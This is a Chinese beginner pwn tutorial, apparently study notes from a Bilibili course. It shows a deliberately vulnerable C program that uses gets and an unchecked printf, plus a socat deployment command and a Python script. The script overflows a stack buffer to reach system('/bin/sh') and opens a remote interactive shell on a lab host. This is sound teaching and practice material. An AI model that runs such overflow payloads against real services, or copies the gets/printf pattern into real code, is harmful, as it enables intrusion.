【pwn入门】使用python打二进制

原创已于 2023-12-02 22:17:41 修改 · 601 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#python #服务器 #开发语言

于 2023-10-27 22:50:35 首次发布

本文介绍了在B站的学习笔记中，关于C语言编程中的安全漏洞，如如何通过`gets`函数实现远程代码执行，以及如何构造攻击脚本利用该漏洞创建shell。还涉及了程序的编译和通过TCP/IP网络进行交互的过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

声明

本文是B站你想有多PWN学习的笔记，包含一些视频外的扩展知识。

有问题的源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int func(char *cmd){
    system(cmd);
    return 0;
}

int main(){
    char a[8] = {};
    char b[8] = {};
    puts("input:");
    gets(a);
    printf(a);
    if(b[0]==0x10){
       func(sh);
    }
    return 0;
}

使用以下命令进行编译：

gcc question_1.c -o question_1_plus_x64

程序网络交互初体验

将程序部署成可以远程访问的

socat tcp-l:8877,fork exec:./question_1_plus_x64,reuseaddr

在这里插入图片描述

通过网络访问程序

nc 127.0.0.1 8877

在这里插入图片描述

攻击脚本

import socket
import telnetlib


def pwn():
    # 创建一个TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器127.0.0.1的8877
    s.connect(("192.168.44.138", 8877))
    payload = 'A' * 0x8 + '\x10\n'  # 构造payload
    s.sendall(payload.encode(encoding='utf_8', errors='strict'))  # python3这里需要编码
    # 创建一个telnet来产生一个控制服务器的shell
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


if __name__ == "__main__":
    # socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddr
    pwn()

在这里插入图片描述